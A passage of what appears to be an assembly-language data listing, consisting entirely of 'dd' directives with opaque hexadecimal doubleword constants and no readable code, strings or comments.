983C608Dh, 70970E7Ch, 0DE4BD6F7h, 45587485h dd 177AB4E1h, 54ECB0B1h, 0BD555A01h, 3AEF4991h, 0DC6ADDDAh dd 6020D550h, 0F6595A90h, 80821082h, 4A58BB02h, 0F5F1E4Eh dd 0E4DEA4B3h, 86D95A0Bh, 276A9E9h, 0F45913CBh, 7A1E50DAh dd 9EEC10BDh, 3DD72513h, 4EE9610Fh, 0E3386875h, 280CC468h dd 5495C3EAh, 3D0502Ch, 1ED87425h, 23684542h, 0C518AC62h dd 5EA2DB0h, 0BD9F6EDh, 1081308Ah, 3E70E908h, 7CA1F527h dd 0B86A38B8h, 92F47D64h, 2EF0D4Bh, 99E9F015h, 0FF2DB67Eh dd 339BAC38h, 4F071895h, 625F812Bh, 7C402ECh, 565A79CDh dd 0E6EE8BF7h, 302D37C4h, 248AC6C3h, 1439C588h, 0F82E3528h dd 0FDCF3DA5h, 41058070h, 0EA75A402h, 35571A80h, 0AE83AE6Dh dd 0B10BFD65h, 572D5444h, 1EC5CF80h, 5B77461h, 0FD09BF05h dd 90E27820h, 12F2071Ah, 692970A6h, 1808A388h, 71390E5Dh dd 1E80464Ah, 2476898Bh, 0B3C2164h, 7DD6C2D1h, 775B9DC2h dd 0BA0033EEh, 45E30BC9h, 9DDA3FE9h, 4E3297C7h, 0B7BE447h dd 21796F2Bh, 0BA398B60h, 0C17E5E81h, 19B0977h, 1520455Dh dd 57D6409Ah, 8D4ABAFCh, 6C79341h, 443A0E07h, 0AB8C6836h dd 9616B228h, 59A02013h, 0A514FE3h, 0C9ED0C50h, 20D2D6Eh dd 0E906667Ch, 763A1EB1h, 0BAC4A93h, 0E25080E5h, 9F6653B7h dd 492C30E8h, 0C59FCE87h, 0D8E28783h, 83E92253h, 0C20224D2h dd 283F7907h, 4DAC001h, 2A199D4Dh, 6FF2387Eh, 0FDB8CCD4h dd 0E0680456h, 812A8929h, 0C2A105A6h, 0C0EFF9D7h, 7DD7BF57h dd 0F7756972h, 0CE444F5Bh, 29EAD474h, 1DE635CFh, 0A43D7A61h dd 0A12AFCAFh, 48F927C6h, 1893C260h, 0E9320C0Bh, 0B5163430h dd 0EB248870h, 0CA0CEE66h, 5F3B4F65h, 729DB270h, 2F27DF48h dd 59F8D4F1h, 7F54D914h, 0D19008F7h, 0D8C0F48Bh, 7097E7C1h dd 23BE0DD8h, 416464AAh, 0DC453EC8h, 58B0401Ch, 0E5F5BB4Bh dd 5D071C82h, 0E2DF56A3h, 0D1C80732h, 0DE016F7Ah, 5D446D38h dd 0A12D136Ah, 5C2EE4D8h, 0D6D39095h, 0D3B22786h, 0C557BD92h dd 0FF5E880Dh, 3514BF02h, 90B160D9h, 0F7028217h, 4F7146B8h dd 626F6805h, 9C5525CCh, 907E69CAh, 0E9768252h, 0B0674947h dd 0F3C528CCh, 0A390DC3Ch, 1C1E680Ch, 73414191h, 6445C12Bh dd 40BF0447h, 3A60EF12h, 1EB75D0Bh, 7099B5E9h, 59B6F50h dd 42AA6809h, 76DAB2F4h, 55442FFh, 0D828020Bh, 0EB9BF6FDh dd 503840F8h, 34AB5EABh, 0BFF3AE95h, 5781B125h, 3515840Fh dd 0CC346B10h, 0B5C3F507h, 0FC98B2CFh, 0A20B959Fh, 6025007Fh dd 20501714h, 0C30CD6F7h, 7A1F4D86h, 84C74FE9h, 39A0D939h dd 0C6CD12F6h, 0CFD017A8h, 0AA53124Ah, 0E912C02Bh, 4BF9A87Fh dd 68BA7CEBh, 0AE647A2Fh, 0C655580Eh, 0AA39150Eh, 89139395h dd 4F8AE3D0h, 0CF530AEAh, 4CE989E2h, 3CED81DAh, 3F0B7127h dd 54F73DFBh, 956E02E3h, 70D586A1h, 0D432205Ch, 4C039999h dd 0E92C9C7Eh, 898B6AA4h, 0AA849EEEh, 0B934816Dh, 4033A5CCh dd 50EE64ADh, 4F8CF74Eh, 7602D832h, 0D6545B4Dh, 8874CAEAh dd 165F4BEBh, 7BE912D0h, 48A0FDC4h, 0AD911109h, 0DAEDCF2Dh dd 0FEAD391Fh, 4721704Ch, 0E9042B91h, 49FAAD79h, 2663C3FCh dd 73F59900h, 0C14CE61Dh, 0D90849EDh, 0BAFDBE27h, 0D3CC7556h dd 66CFE725h, 0EB683016h, 0BD94C553h, 60A12625h, 0B1FC40EEh dd 0D331438Fh, 3468B509h, 0EA0DB71h, 1860BB53h, 0E3811D84h dd 17760A0Bh, 4830846Eh, 18D18FAAh, 0F61DFEC6h, 0C79913E2h dd 73F2F843h, 1CF0DF7Bh, 9222073Dh, 115248E9h, 524B0FABh dd 0F9BA1F25h, 7E460425h, 0AFC13287h, 0A7304205h, 4D091D7Ah dd 0C3F28008h, 0E9A60626h, 100A8B2Dh, 79685034h, 7513FF3h dd 0B48E4516h, 4B0579FCh, 0E5D13A0Ch, 21FEAC3h, 0AE11C7ABh dd 0EADFEA99h, 3536C0EEh, 0B954F104h, 3329CC1h, 0F9D21E2Fh dd 0B07CAD1h, 409F6891h, 1B1EE2Ch, 4E893AFBh, 50A8F501h dd 4E70CFE5h, 0ED6881F3h, 0C3483A25h, 2C5F18C5h, 822D6F2Eh dd 0BBCD802Ch, 31689996h, 0B97E01D7h, 12573AC8h, 0B13E64B5h dd 0A5A82F96h, 98E246CBh, 0C1125FCCh, 0C8AF06E1h, 0FCB52922h dd 0FDE0279h, 6D411FD2h, 0B25200C2h, 0E2C02619h, 0C5B41756h dd 33CD04F3h, 0E65290F4h, 4427243Dh, 409DC242h, 265A2533h dd 0E1848CBh, 50C9DAD1h, 2F897AFCh, 0ED1D30A1h, 76B88003h dd 7723301Eh, 0D6AE6C89h, 0FCBB404Fh, 3128FFFEh, 0EA30C3D5h dd 6B65FC5Dh, 0F7112E3Dh, 0F1C616B5h, 3CA86F06h, 0FAD6E9F0h dd 74DD694h, 9740B77Ah, 0ED1564EEh, 0D45B89D7h, 0F17F5259h dd 0AB6E0C69h, 2D015F6Eh, 632B7585h, 49FC1A05h, 0C6312581h dd 3E35AB6Ch, 0BEFAFDDh, 287BEE23h, 6576A209h, 1D050CBEh dd 160BED17h, 80B626D6h, 65688254h, 0B1294F2Eh, 5D080361h dd 0BF57F0CFh, 3362078Bh, 5FD10844h, 69138679h, 4E68FC80h dd 0DB3A4877h, 0B051AF15h, 59AD5B3Bh, 6F514A8Bh, 0B2A9E950h dd 0D23BA0DAh, 669C24FEh, 34091721h, 0FDFFBDAh, 4BE0A227h dd 0F9F898B6h, 3129BE50h, 4677071Eh, 3B558DCCh, 30DA3EC5h dd 0E20C50B0h, 2B14DF45h, 4193F501h, 140CA008h, 13F881A3h dd 202B588h, 0DD5FE82Dh, 85425772h, 0B2690709h, 0F2132E74h dd 687F02BFh, 5771066Dh, 1D2D9CA8h, 0BDFC88h, 7E8C0FFh dd 0C1F4D504h, 0A589E926h, 0FFC2FE89h, 0C2655369h, 0B22FCD66h dd 4A90463Ah, 0EE7390A5h, 96013EF4h, 41D005EFh, 56D45A2Ch dd 1146054Ch, 1D2DF029h dd 96116807h, 0D27E8B58h, 1CDAA11Bh, 0E984515Dh, 9C1E02D5h dd 8FC0882h, 904516Ch, 3EF45EF5h, 0C1455B5Dh, 0F17FBB40h dd 0D9133A1Ah, 0B22516FAh, 0FCDAC62Eh, 0B7EF07CFh, 0B3809CA3h dd 200F9A49h, 605EBC1h, 426DA2Eh, 5D08B4BBh, 3629C07Dh dd 4B5E8414h, 5913AE1Fh, 12FE74BEh, 285BE11h, 0E050E2BFh dd 60C3E958h, 0BB5918F5h, 0F0269C37h, 6C00379Eh, 2D4E2B1Eh dd 6212139Ah, 3AC74BE8h, 76A9B8E3h, 5B0A83A9h, 853D7F68h dd 809FB2EAh, 5E2D5AEBh, 5908B043h, 0BF12063Fh, 0C231E19h dd 0FCE6D7F7h, 12162C13h, 5704D909h, 76078A80h, 7A977527h dd 40B20916h, 0F0F0D7Ah, 7E6FCE97h, 22B5E22Fh, 0EBD4ABh dd 0A32DD001h, 75075413h, 56D8AB00h, 2D46A668h, 18785B41h dd 0BD164A01h, 0CF26E96Bh, 5803E791h, 1D8846Fh, 0D3F866BAh dd 0AF80479Dh, 0F043C46h, 15E668C8h, 0D24231AFh, 342D00A8h dd 441F2637h, 0D420206h, 9E5E1565h, 7C085139h, 0D2494B6Dh dd 0FC5F8451h, 0B8767345h, 5E42CB49h, 0E2188BB2h, 0FCAE1C77h dd 487F52B0h, 9DF1C42Ah, 812557F0h, 233BABBDh, 20B6A4Eh dd 2319C2A4h, 407DB283h, 0B74EFD2Bh, 105984B4h, 0DD2927A7h dd 874EF394h, 0E9A05EA8h, 0A8A8A01Ah, 791E37CFh, 97CB2228h dd 0C33A55FBh, 0F5259ADFh, 0F180C772h, 0CB2E4B33h, 0A6181031h dd 7C5FFBE9h, 94F9043h, 797C3B2Fh, 84D653E0h, 5C315981h dd 50DE807Eh, 1E5C9E58h, 5F2E18DDh, 4E5AD775h, 3B0FAB30h dd 5879C9BFh, 0A7C7D077h, 0D985224Ah, 6693045Dh, 4ED8CFAEh dd 0F64D17AFh, 99FE9207h, 4AA837A5h, 8186D0BDh, 0C73B2742h dd 0F8F78258h, 0DD5F6109h, 0E91691E4h, 4A302F37h, 145DBD55h dd 98450C36h, 0CD012E76h, 0F32F138Fh, 859784B6h, 5D1F0ABDh dd 9A76E527h, 2FA4AF26h, 31023A0Ah, 586DDCA7h, 0D55C43E9h dd 6853A0DCh, 0A62312B9h, 3647EC47h, 16820FBDh, 0B190540Bh dd 0C3CB0271h, 78CE2D3h, 4E9FA559h, 9253F342h, 0AA019453h dd 332E5717h, 37EBC13Bh, 0E7B26ADBh, 1E105B48h, 2DBB01D7h dd 2903AA3Bh, 0B84BD53Ah, 69149D25h, 8868C2E8h, 629D564Ch dd 570503FCh, 0E04B99B3h, 147BE635h, 49EB614Fh, 3E0859FCh dd 8952040Ch, 0A2B4AFCAh, 29552AE9h, 5BD825F1h, 4583D565h dd 6136FB3Fh, 2DE90623h, 0E9323ED1h, 4D3EB16h, 9B4CB2CAh dd 0D260AF3Dh, 28A84B2Fh, 278E0978h, 4CDBA4FEh, 0C1F0A5BDh dd 0F82E08EBh, 711A10F9h, 0E9BDB180h, 8193F1FCh, 8302C488h dd 0E903E5C0h, 0F9D5BDC2h, 0F86B09D1h, 344BBEB1h, 56B45AB6h dd 3D02622Ch, 5E2EC4AEh, 2CE90B4h, 219C706Fh, 1E67DF59h dd 0A61808h, 195DF2B8h, 0C26E8974h, 49E36152h, 0FD431E64h dd 0EA16DCBCh, 0A5F9A361h, 2034FE05h, 0F91046A6h, 656809ACh dd 2CD6CD5Fh, 5FF01231h, 221B032Eh, 45D94B1Fh, 35532E53h dd 0C5F2FC12h, 592F68C2h, 4FAFE7B0h, 46503600h, 8A68DEF7h dd 681BBD39h, 125C44C8h, 9EE91A16h, 9DC25C21h, 0C03EF4FDh dd 0EF763582h, 0A0E90A39h, 0F68EB787h, 0CED71CC9h, 0A356B755h dd 3E57487Ah, 51CAC403h, 7ED58155h, 0ECF5C296h, 5ADBF660h dd 6193A764h, 0FE42CE5Ah, 93FCD1CAh, 0A9DBD2Dh, 0BED757E9h dd 0C40414C4h, 77484556h, 2A0A475Eh, 0BC93BB3Fh, 0AC3F2AA1h dd 56E9E0A4h, 65B2B606h, 7B2BC95Ch, 915E8C7Ch, 0D0FC0C7h dd 0E79B300Eh, 3361CF82h, 20957841h, 9D900987h, 2305524Bh dd 348921B4h, 0C6F4B0CDh, 8FC5BDCCh, 30CD6D0Dh, 185FE320h dd 0DE63B731h, 3A710CE5h, 7A4CC1B0h, 61ABF585h, 2ADEAD3h dd 28B5C5Fh, 0CEA8D9C7h, 596FE9DDh, 901C858h, 5831FFF9h dd 781CB277h, 0CDDA976Fh, 502C524Eh, 427C5BF7h, 5B5553DDh dd 80F945F5h, 9E18A7BDh, 385DE969h, 28680996h, 5DB79A63h dd 6AE13F6Ch, 0EC2BC3E1h, 8BEAE4C4h, 0A0422D3Bh, 76BEB1Bh dd 0D56548BAh, 1C470176h, 0E9DD8935h, 489C7CABh, 4A6F3C0Eh dd 0D348E4CFh, 7BE2B38Dh, 82F55FB8h, 5901C972h, 8266CA31h dd 85D00112h, 21A7BA55h, 6C2538Bh, 594B0EF1h, 0AC0DB4BFh dd 88BBD311h, 681452CCh, 0C08A098Fh, 31FB850h, 3571041Dh dd 84272110h, 0F3BD855Dh, 8181482Eh, 6882E955h, 0AB1A5040h dd 39D69D90h, 22272324h, 4ACBE9D9h, 824A7E46h, 87EB7433h dd 0F0CDC2FDh, 20DE1329h, 0FE04F5CAh, 702DCD80h, 0F4B7587Ch dd 1C61C082h, 789F2B1Dh, 0DE802E01h, 5157C208h, 0BA1FC1h dd 0B1C02B9h, 0CA013D6Fh, 4A2586C4h, 1EB4DBF4h, 0FBFCA0F2h dd 8DD9A0F7h, 0BC25910Bh, 8331D81Fh, 0E9370907h, 0A846A3B9h dd 98A2E220h, 5FFB285Bh, 0B06F2D94h, 2E97A7Ch, 0B3AC090h dd 62500A00h, 295AE2CBh, 5FD4CAA0h, 1775A303h, 21BAB1F8h dd 2A5A0817h, 60E4DC67h, 25C51E1Eh, 528076C7h, 0C1308ABAh dd 0F7921C44h, 3E96F0D8h, 6B49B970h, 51E91243h, 0E7FEAA84h dd 0DB999DA0h, 71DDCB97h, 8030033Eh, 6051EC5h, 59E82813h dd 4127EA88h, 0F9531DE4h, 14F862D2h, 10D2CA88h, 884BC760h dd 7240E198h, 0A5A9C409h, 0C734EB4Eh, 5BE2D8FEh, 0C48AE910h dd 7C49B803h, 91D13A93h, 0EFC87F15h, 0FEEB4F55h, 0F94F9521h dd 5452108Bh, 0EE305233h, 32934D17h, 62C1F433h, 0A2AF1AE0h dd 3AE38100h, 20CD3F4Fh, 0F3E4FD76h, 0D3930152h, 0E9DA2957h dd 0C3443ED5h, 0D1E35FF9h, 5C9C680Eh, 983CFE16h, 86E91753h dd 801622DAh, 29175856h, 0BA97BABDh, 0C7D91739h, 0C473A27Fh dd 24BFBE68h, 89A32D31h, 0D930416Ah, 90904C66h, 25686640h dd 54FB197Dh, 7FF855BAh, 5210A2B2h, 0F5F85AA1h, 0AA561A50h dd 42F77E36h, 0B059B177h, 40623110h, 0F765CF9Eh, 0AC73933Dh dd 0D55058B2h, 0A8D104EBh, 0A021AF9Bh, 6A09CEDFh, 8764467Ah dd 56676E22h, 0E9C23167h, 9D56CC0Ch, 0D28985DEh, 985764ADh dd 908A2004h, 2C38316h, 0B018AEEh, 312AB168h, 0FFCA7537h dd 0BA563C5h, 31E5F4Ah, 745DE92Fh, 0A2D1C7F9h, 776912C9h dd 27994181h, 0F45ED948h, 4A81F898h, 32AA60C6h, 9F2275A9h dd 0F7202872h, 0A95D6FE3h, 0DEA6824h, 0E089F15Ah, 0B5F412F1h dd 8510D5E9h, 0BFA8A073h, 80135FC5h, 0A618CF40h, 0EEF931E1h dd 0E3F45E45h, 5EB82FD1h, 0E4F56B10h, 0D306186h, 2EDC15E9h dd 257B22F7h, 0EF54CBA0h, 74F5B073h, 0F66A01F9h, 0EB36952Dh dd 920F2062h, 0F6F120DCh, 9E924202h, 0B6B6F416h, 7CE8F05Eh dd 0A7C009C5h, 52F589Ah, 304360D1h, 46D96D80h, 0E90F0D9Ch dd 0ECFFBADAh, 6A50AA39h, 0F04142BCh, 0F2945878h, 0EA15C528h dd 64E62835h, 2678749Ah, 1042AE42h, 93F94B4Dh, 8FD5CC05h dd 1091EA2Bh, 4D00D120h, 0F736F587h, 94408D6h, 0CE5CD9E8h dd 49735B58h, 1B95C726h, 71A5BC68h, 34677078h, 0F7B380h dd 805BDC30h, 0E4C0CBC4h, 0ADE90309h, 0AD152BFh, 6560646Ch dd 24A3FADh, 0BB2ED717h, 9AC8C560h, 2FAD8182h, 586C0D23h dd 5F760800h, 4C29472Ah, 0A0B5F19Dh, 2FCA990Ch, 0E6730677h dd 20F89095h, 839FD6F0h, 8497C105h, 0C98BF2BAh, 0BD1F7064h dd 0C54FCC59h, 5E8B7D56h, 0DA0A10h, 2EC61B35h, 595168D7h dd 6684E745h, 0D099B9FEh, 0E91E963Fh, 5B5504E0h, 0EABD685Dh dd 975EAECCh, 0E064237Ch, 2730CECh, 46541262h, 42C2F231h dd 0D284578h, 533DB104h, 39C49840h, 1427CEB9h, 0CA451757h dd 4F44BD5Bh, 89CCC1B8h dd 0CCB71CEDh, 0B2683409h, 0BBE2BAFEh, 0BCFEE985h, 64352D8h dd 6BE26D55h, 96170B0Ch, 97FD14Ah, 676C779Dh, 62592C40h dd 0CBD74B02h, 620B5BFAh, 0D2200B03h, 0FE00B77Ah, 0A2B74347h dd 0E9F52904h, 6BD29EB5h, 0FC10E6CBh, 5E27B2B0h, 485EB3D2h dd 28E505D9h, 3BB87523h, 17A83B84h, 0D11B2DBFh, 0D8862204h dd 142A48h, 0F181767Dh, 6F431631h, 21F0CC0h, 4B01193Eh dd 13898BC8h, 244022D0h, 0A57FBC68h, 0FA70B706h, 12C76AA0h dd 16D67A1Dh, 36C2F79Ch, 5057BC56h, 5FC19022h, 5A51C218h dd 0BB009C56h, 25D31CF4h, 9FFA9029h, 6983595Eh, 0E540DBF9h dd 0BB5384C0h, 5525FA0Dh, 0E93DC62Ah, 0BC857116h, 47E2D2C6h dd 12C7F42Ah, 0FC3F6FBEh, 3CB03DE2h, 612D8019h, 149BC30h dd 70550F0h, 4125015Eh, 972E8C73h, 0B22DC84Fh, 0C2EFD80Bh dd 84406A09h, 0EA1301A7h, 55E6B79Dh, 6804F245h, 0AA8D44A9h dd 2D3A9931h, 2ECD6B18h, 7B98096Bh, 0FB44DFh, 8057B353h dd 0E3D0ADCBh, 573C072h, 8902EB3Dh, 8288FBF3h, 0FFE62060h dd 836688E1h, 0F6D88650h, 0C00803D3h, 0C83405E8h, 2F58C681h dd 68519CC0h, 8C6A5F1Fh, 6548A959h, 0F4B7C43Fh, 7D41DE82h dd 0CBC11D13h, 28246F7Fh, 5D688281h, 19824007h, 67B65CC8h dd 1E575100h, 98D9896Fh, 37A54A6Ah, 0CB0C456Bh, 4D521222h dd 3B1991A3h, 0DCF7111Eh, 589E37E4h, 0E26762h, 0B4EFF235h dd 0E2018B37h, 738832D2h, 5C90BD89h, 0C5ED4C0Fh, 0ACCB9C86h dd 77C64819h, 88CA6EE5h, 3BC4179h, 0E5C294C0h, 595DA7CAh dd 0DFC56B0Ah, 9F73308Ch, 0BD4B09F2h, 94541988h, 0F56EB009h dd 5C5E6C96h, 0B511170Ah, 0F4541E8Bh, 7C45628Ah, 29A2B106h dd 809407A7h, 95A5C681h, 555CB441h, 5B4220A6h, 0B5D23059h dd 0ED5FD007h, 0F84B90ECh, 6A0E1040h, 8925D2Eh, 31076521h dd 0CFF35FF8h, 0BD100223h, 1E137135h, 7D9742D5h, 85E34B48h dd 58ABF32Dh, 5BAF0F75h, 0E7A019A2h, 4614420Fh, 793DAEA0h dd 808F5Bh, 5F92122Eh, 0CE49F50Bh, 0A110D576h, 0FEDCF600h dd 16CC80C4h, 0B401F4E6h, 0E9B9B252h, 0CA3984A6h, 38C2A402h dd 0F8F52115h, 0AFE60FB8h, 0E104BD19h, 0DC88FBC8h, 3FF5F7DFh dd 5F67A96Ah, 0F806EBECh, 0E4022D12h, 274959D7h, 0D7FEC2E6h dd 79551F1Ah, 6CA73F7Bh, 7FFC85E9h, 0D2C5E340h, 98127E6Dh dd 308A4084h, 0C34FEA77h, 258B00Bh, 63EBC146h, 4AA59886h dd 2B46C422h, 1EF177Fh, 0CB1A9B53h, 0DEFADE7Bh, 0A113A7E8h dd 9C579D71h, 5E89D7A2h, 98C580FDh, 9F65A051h, 88043D2h dd 0ED1D2D5Eh, 0D82D054Dh, 0DD0782DCh, 0BD133196h, 52A84CD5h dd 8B06ED16h, 0D87E2F7Ah, 1AFCBD47h, 0DD9ACEE2h, 0DBE82918h dd 0EB82219Ch, 0CE421C4Fh, 11FF2DD6h, 5AE4CD79h, 0DCE7CFC8h dd 51522Ah, 0C331A12Ah, 0A56FB977h, 3082120Bh, 7CA78A9h dd 0CD1540BEh, 0FBB1A24Bh, 5FFEB968h, 0C77320BDh, 414082DCh dd 39FD2F0Ch, 54E8874Eh, 0F456EAC7h, 632544AEh, 84660A08h dd 0CB680FBAh, 48881671h, 83D89702h, 20C45BFCh, 47CC7954h dd 27DA94D7h, 0C6CF071h, 52FA2CE9h, 9D7C07Eh, 14B5CE7h dd 0C059799h, 521974FEh, 3FD50BBFh, 3302F9B0h, 5AC9A0B7h dd 9015966Ch, 25A1029Dh, 0F3096A34h, 9FD1FAF7h, 0DA67B65h dd 6683F124h, 85EEB753h, 76489C09h, 114F2F8Bh, 3F154CA4h dd 98E4A7Fh, 59D5A061h, 0B822F96h, 0C95B75BAh, 0CF491D97h dd 8194D442h, 35F35FB6h, 0F3843F31h, 4BC4EEE6h, 425E12C0h dd 13C2F113h, 439E6151h, 5AABC12Bh, 644B5650h, 5FE86BBFh dd 1F4B40Ch, 2716C248h, 0F4571C3h, 68A771BEh, 9C5BD32Ah dd 0B224148h, 0D50CFFDCh, 2BA0A7E4h, 0E79F3B55h, 17E2DDDh dd 562EF279h, 0E9AA804Fh, 54815ABAh, 0D77443Ah, 4AF1E31Ah dd 983B04FBh, 5044F952h, 6E2C4725h, 62279D51h, 0CEFB57F0h dd 0B38178A7h, 0F6E9058Bh, 80CAABBDh, 0F9200C20h, 885B5A05h dd 42401382h, 29842768h, 25A0BB46h, 0EF068009h, 7E7C001h dd 0F386E80Ch, 8BF5261h, 8804C783h, 0ECF85BFCh, 0B6045243h dd 5AF4304Ah, 0DC1050CEh, 0DE091D96h, 71A4A0CBh, 5B652580h dd 0FB390027h, 97634E07h, 0B07A388h, 81D8D2E9h, 24BD3158h dd 29948272h, 5E0C0987h, 0ECD61058h, 59992723h, 7E146944h dd 11038F0h, 59C0FBAh, 0E6267C01h, 28A10C41h, 39E9051Ch dd 12A8FD91h, 0D1A8823Fh, 0F6F23EC1h, 3A8BF513h, 3CBDEF4h dd 4C6349F1h, 15EAEBD1h, 6097DBD8h, 50DC4602h, 5A7EE55h dd 2932F259h, 1BA984CDh, 8B8BC08h, 4212732Bh, 0C811FD01h dd 10FB5B08h, 5F2626FEh, 0ED43425Ch, 70D83500h, 68121398h dd 2F44EB81h, 4BAEB251h, 77FDEF7h, 36C24FD7h, 8B9CDC10h dd 726C41E3h, 0FF292C30h, 0B4121668h, 0A9D7623Eh, 61C35D2Bh dd 0EB8853C8h, 50DDCCEDh, 12CBECECh, 17AB74E7h, 770F0D58h dd 5CAC3053h, 1274721Dh, 328086BEh, 625A0926h, 9768B718h dd 0E1AD2C03h, 0FDC26608h, 9E0FD1DAh, 0A4607645h, 0BBD1AD42h dd 306A65F6h, 372B092Dh, 97A0619Dh, 0E4C8A3Fh, 28005C2h dd 0EA88E9D0h, 7B91DCF1h, 7329B201h, 0E8685D41h, 0E700446Fh dd 168FBBA0h, 4FD88910h, 96D9D01h, 0E12B6E72h, 41D5CE45h dd 12C0AE97h, 0EE0ED54h, 1492C24h, 0BA554600h, 39F3474Ah dd 315FF80Dh, 4AF02B0Ch, 0E9CE0B87h, 4AD5E650h, 0DBA8627h dd 35040E36h, 68D402Ch, 68A0DBE8h, 0C09126DAh, 8059B581h dd 0C5CC98F5h, 906D2E3h, 7C07E89Ch, 9B2CE886h, 0B21B4802h dd 0F6C0812Dh, 9B702A72h, 79D91FC3h, 57E94F0Ch, 0D800D3D5h dd 8C35CF05h, 0AE3B2D6Ch, 881B2FB3h, 0DA2DF9FDh, 16B2D625h dd 0C568B45Ch, 0E1210F2h, 68EC2939h, 0A0530840h, 82BDB488h dd 855268D7h, 0ED2EE1C1h, 9EA92DCh, 6F628247h, 0AC63D804h dd 1301CEE3h, 9A58A128h, 0CCE91AD4h, 59C0474Bh, 162C18BFh dd 0F7023E97h, 80FC6483h, 2136EF82h, 0B847FE6Eh, 2FBB75DCh dd 0A0555729h, 0D0089265h, 3F77B811h, 44B92501h, 31CF734h dd 8627E908h, 3FF86E58h, 85F50303h, 0F1618B13h, 6E24B48Dh dd 0C8233D1Ah, 0CE02904Ch, 7BF46355h, 303E2140h, 0C27D930h dd 0FDEA8387h, 301BA12Fh, 0D540ED39h, 0F0A0B68h, 0D47B41BFh dd 2DC5AD08h, 0C3D71E62h, 0D27A85Ah, 0D2F72D12h, 466327C0h dd 687CE027h, 267735E1h, 2505B1Bh, 34560BB1h, 14981143h dd 0E9253BA1h, 5D3EC075h, 0C226C74Ah, 1552432h, 514E62AEh dd 0E328C829h, 77DE30B8h, 1880301Eh, 0DA31C007h, 5C3958E9h dd 0FE1F8235h, 95E1AA0Eh, 5ACE23CBh, 0B38046C4h, 0DC76875h dd 71F18110h, 311F7A0Dh, 0D92FEF26h, 74024B6Bh, 0C1A39D99h dd 74C706E5h, 58E3BAF9h, 883F9520h, 600BA73Ah, 1E61BB15h dd 8C6F9D46h, 0BD22B38Ah, 181D530Bh, 0BA02DF07h, 21C436A5h dd 5D982625h, 4FF061B8h, 3C2759B5h, 0A10B3325h, 0E5AEA2F5h dd 185B7794h, 8E5B262h, 63660380h, 64017F02h, 8D65A9DCh dd 0E26BCB89h, 0D91497B6h, 78E400C5h, 0BF5758D0h, 2538246Ah dd 0E5CF006Fh, 4701F016h, 0A2C5E912h, 4E042CCCh, 0E4C58DE2h dd 548141F8h, 10778B2Bh, 8900D86Fh, 685557E6h, 65EA50BFh dd 80BD09FCh, 66C82820h, 172C3B59h, 3904D81Dh, 0EE05DD3Ch dd 0D85A0B68h, 0EEBAE632h, 34FE554Eh, 0F471AC7Dh, 1C890BA9h dd 0E82D81A0h, 462F7B5Bh dd 64B17989h, 4F75F829h, 0F15D359Ah, 0A19B1719h, 73FADCFBh dd 0ED90EBA4h, 0FE53310Ch, 0B8330C6Fh, 0C0494E38h, 0CF27D0DBh dd 51A4344Eh, 1BD60899h, 0EA2889BDh, 947DCA03h, 41DE290Dh dd 6F690840h, 49B510h, 1C2F8AB9h, 9FD9F778h, 4E3C3E90h dd 1655085Ch, 5AE2AF32h, 181C562Ch, 71BE3C99h, 0C8E45328h dd 598ECA25h, 0AA1864E9h, 9056A0F4h, 702B0537h, 0EB412426h dd 45C9C507h, 407561A2h, 300BBD2Ch, 0E50C7203h, 605AB12Dh dd 5405C4E9h, 8769430Ch, 2DB0EBF3h, 0C795CA2Fh, 44C385B3h dd 0CB80AB23h, 31794FC1h, 15E44EA8h, 31CDECF0h, 0A7E9CA3Ah dd 5870E9A3h, 0C10D847Eh, 3B7D441Eh, 0BC4A67B7h, 18468116h dd 0B62F572Ah, 6BAC10C1h, 6FF65F2Fh, 53A8824h, 1B4A2A04h dd 607D22C0h, 89152509h, 0C99C0B77h, 934046D9h, 50B15E65h dd 124C846Dh, 52215348h, 4747FEF7h, 831508BEh, 0E9E5A4FAh dd 0ADB7D331h, 3D2873C9h, 8A7BA9C1h, 0E9B13E3Bh, 0A5A19E60h dd 90983DD8h, 6FBD0AE6h, 3E7A7773h, 9B8F1226h, 0F010560h dd 0E8115B1Fh, 5B0740A8h, 3D4E687Fh, 0A04E1CB3h, 1612CDF6h dd 3A097CC9h, 20D87ADAh, 2926B424h, 0C102D3D0h, 757AC430h dd 3B524922h, 0C7AA4304h, 0D06D95B2h, 4E1C68EDh, 14856EAAh dd 2FA4ABD6h, 16510F05h, 2A52D55h, 0DF31BEE4h, 0A732DBD5h dd 6C5BD207h, 9965F5Eh, 0F3FCBC6Ah, 1E98C681h, 0F87B2DA6h dd 78177868h, 0FAA84AE8h, 0EB144630h, 654E17C5h, 0A06049B1h dd 5C09405Bh, 7A978890h, 31B18E9Fh, 318293C9h, 0D1F0C9C8h dd 0A508BEC6h, 0DF304269h, 7443F151h, 0CD124FAFh, 440B7AC3h dd 88BFFBEAh, 0BB0166CFh, 8A29F426h, 726AB770h, 0A020C46Ch dd 0B353007Dh, 1FEB8036h, 49DBF6F0h, 99778421h, 162E0BE6h dd 9A8BBB30h, 0AD91B317h, 0B551C1E8h, 79FC5033h, 0CBF497E2h dd 9AA25FD2h, 4445E5FAh, 0AC26F427h, 2B1A0201h, 0E15408D0h dd 4B4EE680h, 825C296Bh, 2F0A9688h, 820CC705h, 0C6FD9B89h dd 1553955Ch, 2C283C1h, 37D7CC7Ah, 44A4C94Ah, 0E401CEBh dd 0C3298D12h, 0C0806CAh, 953ED301h, 5D83680Bh, 7B2C4A36h dd 0EAB1A07Fh, 0B7531D51h, 0DCEFC145h, 8402E7C0h, 0B8E90706h dd 0B0702EF8h, 0C1803DAFh, 0FD9620AFh, 7E646813h, 54C49BA8h dd 9FB9AB5Ah, 0ED1C991h, 0A110E913h, 8DC26E5Ah, 8213EA15h dd 8625Eh, 0BC7996B8h, 0C3316D13h, 71BF8412h, 85508571h dd 25609A8Dh, 43B53BAh, 0F2C2670Dh, 65048932h, 900DAA8Eh dd 86AE63F9h, 0F9B9D2B2h, 56A6DB4h, 74DA5D30h, 406EC980h dd 563765Eh, 0A77586E5h, 0C56AE06Bh, 29714F0h, 92D47DEh dd 49B4B103h, 0EAB016C3h, 0AB093BFCh, 4D72910h, 3D0EDA7h dd 60618CEBh, 9BF358E5h, 4E4E2A87h, 0E91797F8h, 6E2CE1A4h dd 92A159E8h, 83697E41h, 0E168F88Bh, 4EE90321h, 50ED62BFh dd 3C133E6Bh, 34AC65BAh, 5CF07627h, 5D6B82B1h, 0CF68F110h dd 4940DEB5h, 0DA88DCEFh, 0F580077Ch, 0BFE5333Bh, 92FCCDB1h dd 81AE060Ch, 0F9C02790h, 57289208h, 7406E0D7h, 958FFEBBh dd 48081756h, 4FF32898h, 7691E8AAh, 4D5A5DF8h, 0F2A56CF2h dd 31FA93C8h, 